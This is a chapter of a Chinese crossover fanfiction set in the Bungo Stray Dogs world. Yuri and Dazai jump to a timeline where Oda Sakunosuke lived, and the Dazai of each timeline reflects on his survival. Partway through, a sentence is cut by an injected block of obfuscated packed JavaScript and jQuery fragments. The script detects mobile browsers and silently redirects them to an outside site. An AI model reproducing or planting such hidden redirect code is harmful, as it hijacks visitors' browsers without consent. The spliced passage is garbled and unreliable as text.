99.第99章[番外]

作品:《救命!我卖的漫画成精了

    事情是怎么发展到这一步的,尤里到现在都还有点懵。


    她记得早上江户川乱步发来邀请——用那种理所当然的语气说“店长小姐今天有空吗?来横滨玩吧,这里有超——级好吃的粗点心”。


    然后她就被说服了,把书店扔给伏黑甚尔(“别给我惹麻烦”是对方唯一的叮嘱),坐着电车去了横滨。


    在武装侦探社,乱步正一边吃粗点心一边和她聊天,话题从“最近有什么有趣的漫画”跳跃到“横滨哪家甜品店最好吃”。


    然后门开了,太宰治哼着歌走进来,看到她,眼睛一亮,像发现新玩具的小孩子一样凑过来。


    “哟,小尤里~难得来横滨呢~”他笑眯眯地说,然后忽然抓住她的手,“既然来了,要不要和我一起去殉情?我知道横滨港的水今天特别清澈哦~”


    尤里还没来得及拒绝——或者说,她已经习惯了太宰这种随时随地的殉情邀请——就感觉到自己右手腕上的抑制手环猛地一震。


    同时,太宰握着她手腕的地方,传来一阵奇异的、像是电流交错般的酥麻感。


    两人都愣住了。


    然后,周围的一切开始扭曲。


    不是物理上的扭曲,而是像油画被水晕开,色彩混在一起,空间模糊又重组。


    尤里听见乱步惊讶的“咦”了一声,听见国木田的“太宰你又搞什么鬼”,但这些声音迅速远去、拉长,变得不真实。


    最后,是白光。


    刺眼的白光吞没了一切。


    ---


    等尤里能重新看清东西时,她发现自己站在一条陌生的街道上。


    横滨还是横滨,但……感觉不太一样。


    街边的建筑更旧一些,广告牌上的日期显示着几年前的时间。


    行人更少,气氛也更……紧绷?像是刚经历过什么动荡,还没完全恢复平静。


    她转头,看到太宰治站在旁边,脸上的笑容消失了,取而代之的是一种罕见的、带着警惕和深思的表情。


    “这里是……”尤里小声问。


    “还是横滨。”太宰说,“但……不是我们的横滨。”


    他指了指远处一栋建筑——那是武装侦探社所在的红砖楼,但仔细看的话,楼体更旧,窗户的样式也不太一样。


    “时间线不对。”太宰得出结论,“看来,我们不小心……跳到另一个时间线了。”


    尤里心里一沉。


    时空跳跃?就因为两个人的异能(或者说,她的“幻想杀手”和太宰的“人间失格”)碰在一起?


    “那现在怎么办?”她问。


    “先去侦探社看看。”太宰说,恢复了平时那种轻快的语气,“既然是横滨,那武装侦探社应该还在。去问问‘这个时间线’的我们,该怎么回去~”


    他说得轻松,但尤里能感觉到他语气里的一丝……期待?


    他们在横滨的街道上走着。


    尤里注意到,这个时间线的横滨确实不太一样——街上有更多穿着黑西装、看起来像黑手党的人,巡逻的警察也更多。空气里有种硝烟未散的紧张感。


    走到红砖楼前,太宰正要推门,门却从里面打开了。


    一个穿着沙色黑衣、缠着绷带的男人站在门口,脸上带着那种熟悉的、但比尤里认识的那个太宰更……青涩?或者说,更“轻”的笑容。


    是太宰治。


    但这个太宰看起来更年轻,眼神深处还残留着某种刚从黑暗里爬出来的疲惫和迷茫。


    而在这个太宰身后,站着一个红发的男人——织田作之助,穿着普通的衬衫和长裤,表情温和,手里还拿着杯咖啡。


    尤里和她的太宰都愣住了。


    门里的太宰看到门外的太宰,眨了眨眼,然后笑了:“哇哦~这可真有意思。另一个我?”


    织田作也看到了尤里,温和地点头:“尤里小姐,好久不见。”


    尤里:“……好久不见?织田先生你认识我?”


    “当然。”织田作说,“之前,我去过你的书店。你还给我看了《文豪野犬》的漫画……让我看到了……另一种可能性。”


    他说这话时,声音很平静,但尤里听出了里面的感激。


    她想起来了。


    确实有一个叫织田作之助的红发男人来过书店,买了《文豪野犬》的漫画。


    她当时不知道他是谁,只是觉得他看起来有点忧郁。


    后来她看了漫画才知道,那是织田作之助——那个本该死在黑暗小巷里,留下五个孩子的尸体的织田作之助。


    但她做了什么?她只是卖了漫画给他。是他自己看了漫画,改变了选择?


    “先进来吧。”门里的太宰——我们叫他“织太”好了,因为这个世界线里织田作还活着——侧身让开,“乱步先生预感到你们会来,让我们来接应。”


    “乱步先生知道?”尤里惊讶。


    “嗯。”织田作点头,“他说‘今天会有来自不同时间的访客’,让我们在门口等着。”


    不愧是乱步。连这种事都能推理出来。


    尤里和她的太宰——叫她“尤太”吧——走进侦探社。


    里面的布置和他们的时间线差不多,但细节有差异。


    沙发上坐着几个熟悉又陌生的人:国木田独步(看起来更年轻,脾气好像也更暴躁?),与谢野晶子,谷崎润一郎和直美(这对兄妹倒是没什么变化)……


    以及,坐在办公桌后,正咔嚓咔嚓吃着粗点心的江户川乱步——这个时间线的乱步。


    “哟,来了。”乱步抬起头,翠绿的眼睛扫过尤里和尤太,然后笑了,“两个太宰,有趣有趣~还有一个来自‘书店’的小姐~”


    国木田手里的钢笔“啪”地断了。


    “两、两个太宰?!”他站起来,眼镜后的眼睛瞪得老大,“这是怎么回事?!”


    “时空错位啦。”乱步轻松地说,“应该是异能碰撞产生的偶然跳跃。不过不用担心,过一会儿就会自动修正的。”


    “过一会儿是多久?”尤里问。


    “不知道~”乱步诚实地说,“可能是几分钟,也可能是几小时。反正不会太久啦~趁现在,好好聊聊嘛~”


    他看向两个太宰,眼睛弯成月牙:“你们要不要互相介绍一下?”


    尤太先开口了,他看着织太,语气带着一种复杂的玩味:“你是……刚加入侦探社不久的我吧?脸上还带着刚从港口黑手党爬出来的泥味呢~”


    织太笑了,那笑容和尤太很像,但更……生涩一点:“而你,是已经在这里待了很久的我吧?看起来……过得不错?”


    “马马虎虎~”尤太耸肩,“至少不用天天面对森先生的算计了。”


    “森先生……”织太重复这个名字,眼神暗了暗,“他最近倒是安静了不少。”


    “因为忙着收拾残局吧。”织田作忽然插话,“□□最近内部不太平,他没空管外面。”


    尤太看向织田作,看了很久。


    尤里能感觉到,尤太握着她的手(不知道什么时候又牵上了)微微收紧。


    “……你还活着。”尤太轻声说,这句话不知道是对谁说的。


    “嗯。”织田作点头,“多亏了尤里小姐的书店,还有那些漫画。”


    他看向尤里,温和地解释:“我在你的书店看到了《文豪野犬》的漫画。看到了……‘我’的结局。也看到了孩子们的结局。”


    尤里想起来了。


    那天织田作来买漫画,她看他情绪低落,就多问了一句“是不是有什么烦恼”。织田作没多说,只是买了漫画就离开了。


    后来系统提示她,织田作的“情绪值”波动异常剧烈,达到了触发“紧急干预”的阈值。系统自动解锁了一个特殊道具——【命运偏移器(一次性)】,可以在不直接干涉的情况下,轻微改变某个事件的概率。


    她当时不知道这个道具用在了哪里。


    现在她知道了。


    “系统……”她在心里问,“那个【命运偏移器】,是用在织田作之助身上了吗?”


    【叮!是的。检测到关键人物织田作之助即将面临致命危机,且其本人已通过漫画知晓未来,产生强烈改变意愿。系统自动使用道具,将其死亡概率从99.8%降低至15.2%。】


    15.2%……所以织田作活下来了。靠他自己的选择,和一点点系统的帮助。


    “孩子们呢?”尤太问,声音有点哑。


    “都活着。”织田作说,“我把他们送到了更安全的地方。现在……偶尔会去看他们。”


    尤太沉默了。


    尤里感觉到,他握着她手的力量,松了一些。


    “真好。”尤太说,声音轻得像叹息,“真的……太好了。”


    织太看着这一幕,忽然开口:“喂喂,另一个我,你该不会在羡慕吧?”


    “羡慕?”尤太挑眉,“羡慕你还来得及改变?还是羡慕你有活着的织田作?”


    “都有吧。”织太诚实地说,“不过,既然‘你’的世界里织田作死了……那你是怎么活下来的?”


    这话问得直接,甚至有点残忍。


    但尤太笑了:“怎么活下来的?就这样活下来了啊。每天自杀未遂,每天被国木田君骂,每天看着敦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967650|192495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    君他们成长……就这样,一天天活下来了。”


    他说得轻松,但在场所有人都听出了里面的沉重。


    织田作走到尤太面前,看着他。


    两个太宰,一个穿着沙色风衣,笑容轻松但眼底有伤。一个穿着黑色风衣(刚从□□叛逃时的装扮),笑容青涩但眼底有光。


    而织田作站在他们中间,像一座桥,连接着两个时间,两种可能。


    “不管在哪个世界,”织田作对尤太说,“你都选择了‘救人的那一边’。这就够了。”


    尤太看着他,很久,然后笑了。


    那笑容和平时不太一样,更真实,更……轻松。


    “是啊。”他说,“这就够了。”


    国木田在旁边已经彻底混乱了:“所以……这到底是怎么回事?!为什么会有两个太宰?!还有织田,你不是已经……”


    “国木田君~”两个太宰同时开口,然后对视一眼,笑了。


    “解释起来很麻烦的~”


    “总之就是时空跳跃啦~”


    两人一唱一和,把国木田气得直瞪眼。


    与谢野晶子倒是很感兴趣:“两个太宰啊……那是不是意味着,我可以做双倍的人体实验?”


    “请放过我们!”两个太宰同时后退。


    谷崎和直美在旁边偷笑。


    乱步还在吃粗点心,看戏看得津津有味。


    尤里看着这一幕,忽然觉得很奇妙。


    不同的时间线,不同的人生轨迹,却因为一家书店,因为几本漫画,交汇在一起。


    织田作活下来了。太宰治选择了侦探社。而这个时间线的太宰,刚刚踏上救人的道路,还有很长的路要走。


    但至少,他们都在这里。


    这就够了。


    就在这时,尤里感觉到手腕上的抑制手环又开始震动。


    “要回去了。”她说。


    尤太也感觉到了,握紧了她的手。


    “这么快?”织太有点遗憾,“还想多聊一会儿呢~”


    “以后有机会的话。”尤太说,“反正……书店就在那里。”


    织田作看着他们,忽然说:“尤里小姐,谢谢你。”


    尤里摇头:“我什么都没做。是你自己选择了改变。”


    “但你给了我看到‘可能性’的机会。”织田作认真地说,“这就够了。”


    他看向尤太:“也谢谢你……另一个世界的太宰。谢谢你让我知道,即使在我死去的世界,你也……好好活下来了。”


    尤太笑了:“我会继续好好活着的。你也是。”


    “嗯。”


    光芒开始在他们身上汇聚。


    空间再次扭曲。


    “再见。”尤里说。


    “再见。”织田作挥手。


    两个太宰对视一眼,同时笑了。


    “别死得太难看哦~”尤太说。


    “你也是~”织太回敬。


    然后,白光吞没了一切。


    ---


    尤里再次睁开眼时,发现自己回到了武装侦探社——她原本时间线的侦探社。


    乱步还坐在那里吃粗点心,看到她回来,眨了眨眼:“哦?回来了?见到另一个我了吗?”


    “见到了。”尤里点头,“还有另一个太宰,和……活着的织田先生。”


    乱步笑了:“那一定很有趣。”


    太宰(尤太)也回来了,他站在窗边,看着横滨的夜景,脸上的表情很平静。


    “怎么样?”乱步问他。


    “很好。”太宰说,“看到了……很好的东西。”


    他没说是什么,但尤里知道。


    “对了,”乱步忽然说,“小尤里,今晚别回米花町了。太晚了,电车已经停了。就在横滨住一晚吧,侦探社有空房间。”


    “诶?可以吗?”


    “当然可以。”乱步说,“而且,明天早上我带你去吃横滨最好吃的早餐~”


    尤里想了想,点头:“好。”


    太宰转过身,笑眯眯地说:“那我也留下来~陪小尤里一起~”


    “太宰你给我回去!”国木田怒吼。


    “不要嘛~我要保护小尤里~”


    “侦探社很安全!”


    “万一有不长眼的小偷呢?”


    “这里是小偷敢来的地方吗!”


    两人又吵起来了。


    尤里看着这一幕,笑了。


    她走到窗边,看向横滨的夜景。


    这座城市,有太多故事,太多悲伤,太多离别。


    但也有重逢,有救赎,有新的开始。